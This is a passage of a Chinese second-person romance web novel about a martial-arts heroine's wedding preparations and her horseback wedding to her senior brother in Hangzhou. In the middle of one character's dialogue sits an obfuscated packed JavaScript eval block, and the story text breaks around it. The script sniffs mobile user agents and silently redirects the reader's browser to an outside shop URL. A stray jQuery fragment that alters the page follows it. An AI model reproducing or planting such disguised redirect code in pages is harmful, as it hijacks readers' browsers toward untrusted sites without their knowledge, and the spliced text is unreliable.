还真是你和小师兄成亲。
听你们问起时,陈子奚挑了下眉:“你们两个不知道?”
你诚实地点点头:“嗯。”
陈慎也诚实地点头:“江前辈只说知道了,徒儿还以为……”
陈子奚啧了声,心情很好的样子:“还真是两截一模一样的木头。”
赶来看热闹的魏禾忍不住插话:“不是木头怎么会磨蹭到现在?我和师兄都要成亲了……”
你尴尬地摸了摸鼻子。
明明是他们进度太快。
盛夏五月,陈叔亲自去了好几回,且斥重金才终于请动的绣娘来了。
听说是当初带人给他做家主服的那位,在江南一带属于有钱有权也未必能请到的主。
她将画好的几个纹样给你看,一一解释有什么不同,穿在身上会是什么模样。
等你选定了,她带来的小裁缝便开始细细给你量尺寸,说出的每句话都像当头泼下一盆冷水。
约莫三十出头的绣娘见你愈发不安,不禁笑道:“小少主别紧张,做衣裳就是这样,要将不当之处都记下,在裁剪时稍做遮掩。”
你还是抿着唇。
绣娘又笑:“小少主这身段,已是极好的了,人总有些不足。”
你听她说话和气,好奇地问:“姐姐,杭州城里说你傲气,连玉山君的面子都不给,但你明明很好说话。”
这一声姐姐叫得年过三十的绣娘很舒心:“眼睛不如从前了而已,做这两身婚服,要熬不知多少宿,况且我最后不是给了玉山君面子?”
你:“喔——”
“好吧,其实最后一回是少主听闻师父在我这儿连连碰壁,亲自来了。”
你:“……”
才不是听闻陈叔连连碰壁,是刚知道自己要成亲,否则以小师兄的性子,早就亲自登门了。
“我看少主那一提起小少主你就脸红的模样,觉得很有意思,想起我家里那位当年也是如此。”
她想起那日,玉山君等在外头,回春堂的少主一个人进来,没赞她技艺精湛,也没同她提银两珠玉,只是在提起你时局促地红了脸,说想将最好的东西给师妹,望她成全。
阅人无数的绣娘在那一刻想起年少旧事,家门恰好被推开,是冒着盛夏暑气特意出门去给她买点心的人回来了。
尽管她刚绣完一身衣裳,眼睛疼了好几天,才缓过来,想歇上两个月,却在看到眼前少年人时倏地心软了。
她在盛夏的日光里笑得柔和,像是在对你说,又像在回忆某些过去:“少年真心是世间最最难得之物,我便应了他。”
陈慎没怎么仔细看自己的婚服,反而日日盯着你的。
你觉得已然很好看很完美了,他却能看出不对。
“裙摆太长,师妹定不会安分坐轿,骑马的话这衣裳不便,烦请费心再改改。”
“这些缀珠还请再缝得牢固一些,师妹性子活泼,若不慎弄掉一两颗,她又要心疼好久。”
“师妹说想在衣角绣些银杏叶,我的也要,辛苦诸位。”
“……”
魏禾时常撞见,这日又见陈慎很认真地和绣娘商定,恶狠狠瞪了自家师兄一眼,才同你说:“师妹师妹师妹!听得我耳朵都要起茧了!你能不能管管他!”
你啧啧两声:“你羡慕啊?让魏大哥学啊。”
魏禾:“……”
她真的不想理你了。
婚服做好送来那日是八月十五,中秋佳节。
绣娘给你们捎了一坛自家酿的桂花酒,你很喜欢她,真心邀请她等你们成亲时来喝杯喜酒。
“多谢小少主美意。”她温柔地笑笑,“我之后想同外子去开封看看,便不来了,提前祝你们白头偕老吧。”
江叔和寒姨在这天傍晚赶回来。
你兴奋地迎出去,看到他们身后一眼望不到头马车,和哼哧哼哧往下搬箱子的人时又骤然停下步子。
“嗯……”你尽量委婉地问,“江叔寒姨,我们这是要攻占回春堂吗?”
寒香寻斜了你一眼:“这话说得忒没良心!你要不要?不要让陈子奚拿去给小慎当聘礼!”
你上前挽住她撒娇:“要要要!寒姨最好了~”
一转头,你看到江大侠那张冷冰冰的脸,拉了下他的衣角:“江叔也最好。”
魏禾看着你这幅模样,噗地笑出声,向二位前辈行了礼才说:“这就是你成天挂在嘴边的养父养母?”
你点头。
“是给你备的嫁妆吧?”魏禾笑盈盈道,“我家小老头又出嫁妆又出聘礼,生怕厚此薄彼,其实多了少了有什么关系?最后不都要进同一个家门。”
你深以为然。
其实陈叔和魏禾口中的小老头一样,命苦地又出嫁妆又出聘礼。
江叔寒姨这么一添,就衬得陈叔给小师兄的东西很少——其实一点也不少。
于是杭州百姓便亲眼见玉山君又在繁华地段现买了好几间铺子,塞给少主当聘礼。
但事情到这里还没有结束。
几位长辈想起什么便临时在单子上添一笔,聘礼单子和嫁妆单子便越来越长越来越长越来越长……
像在打擂台。
你和小师兄哭笑不得,安叔也有点无语。
终于,九月十二,月黑风高夜,安叔忍无可忍,将长长两张单子丢开,拿了很大一张白纸来,左写“回春堂”,右写“陈宅”,撕成两半拍在了桌子上。
你试着理解了一下。
安叔的意思大概是:家送他俩,别瞎胡闹!
这场闹剧才终于画上句点。
但很明显,你们家里这几个活宝长辈玩得很高兴。
高兴就好,那全家上下陪着胡闹一通也没什么,你希望他们高兴。
陈叔请人来算,说良辰吉日在十二月十七。
你不信这些,说什么都不肯。
好吧,其实是信的。
但你不喜欢冬天。
陈慎在衣袖遮挡下牵了你的手,温和但坚定地说:“等春天吧,不急。”
“嗯。”你弯弯眼睛,“就春天。”
万物萌蘖,春和景明。
一切都是生动的。
你担心地问魏禾:“你们成亲是哪天?会不会耽搁?”
“姑奶奶,你才想起我啊?”魏禾不客气地送你一个白眼,“我给师父写信啦!改到今年秋天!女侠我最讲义气,一定要喝上你这杯喜酒!”
你又愧疚地去看魏砚。
他的目光正落在魏禾身上,听见你道歉,轻笑道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936292|213723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只要在一起,哪一日都是一样的良辰吉日,无妨,我听师妹的。”
你:“……”
真的好腻歪。
你忽然对自己和小师兄的言行对旁观众人的杀伤力有了认识。
你们的婚期最终定在二月十四,春分时节。
杭州多雨,春分前一连下了三日,二月十四清早,天却是澄澈的蓝,雨后嫩绿的草木上还有未干的水珠,被日光照得熠熠生辉。
你扶着头上摇晃的珠玉流苏,小声嘟囔:“好重。”
“这还重?”寒姨往你发间插上那支银杏簪子,“已经是最轻的了,小慎盯着改了好几回的,你哪来那么多事?”
你撇撇嘴:“寒姨,你如今胳膊肘朝外拐得厉害!”
“我是实话实说。”寒香寻透过铜镜看着你,“难道成亲你用簪子一挽头发就出门?谁家新娘子素净成那样?叫人看了还以为家里养不起你呢。”
你:“……”
在杭州应该不会有人这么想。
你此刻正身在寒姨尚未开门的新酒馆里。
小师兄和你家三个长辈都坚持要按规矩来,三书六礼一样不能少,反而你自己最随意。
只是无论六礼中哪一步,都是左手倒右手左脚换右脚,毕竟寒姨的酒馆也是陈叔给选的地方,和陈宅实在离得很近,不过出门转两个弯的距离。
但无数嫁妆聘礼——如今都是嫁妆了——还是跟着你浩浩荡荡从陈宅搬家过来,一会儿又要浩浩荡荡搬家回去。
你没有盖头,也没有团扇,等在门外的也并非花轿。
是你们逃命时偷过的马。
你差人给伏马庄送了一封喜帖,极诚恳地解释当初深陷困境,实在不得已,问那两匹马儿有没有如老话所说真的识途,若真丢了,你愿意赔上两匹同等的好马,附以金银聊表歉意。
祁庄主是个爽快人,见信并无责怪,只回信说有事走不开喝不了你的喜酒,便将那两匹马送你当贺礼吧。
马儿亲昵地蹭了蹭你手心。
你利落地上马,衣角金色的银杏闪着光。
陈慎就在酒馆大门前等你,他很少穿这样鲜艳的颜色。平日素净的衣衫都会让你忍不住多看两眼,今日更是一眼便能看见。
你甚至只能看见他。
“别人家新娘子坐花轿,你骑马。”魏禾眼睛亮晶晶的,“此等江湖嫁娶,杭州独一份!定能流传后世,成为江湖传说!”
春风拂面,花香扑鼻。
街边早围满了赶来看热闹的人,见你也骑着马,先是静了静,之后是此起彼伏的喝彩和祝愿。
你耳边的银杏坠子一下一下晃:“小师兄名声真好。”
陈慎看见你的耳坠被日光照得发亮,不禁碰了下自己的:“师妹行侠仗义,名声也很好。”
你又忍不住想逗他:“小师兄平日不是最守规矩?我今日没守成亲的规矩,不仅骑马,还打算一会儿去宴客喝酒,小师兄不管吗?”
陈慎抿着唇,许多话涌上来,最后化作一句:“只要师妹高兴,怎样都好。”
你笑弯了眼睛:“我高兴呀。”
你一夹马腹,马儿便小跑起来,陈慎追上你,本是主角的你们将浩浩荡荡的队伍丢在身后。
策马并肩,共赴春光。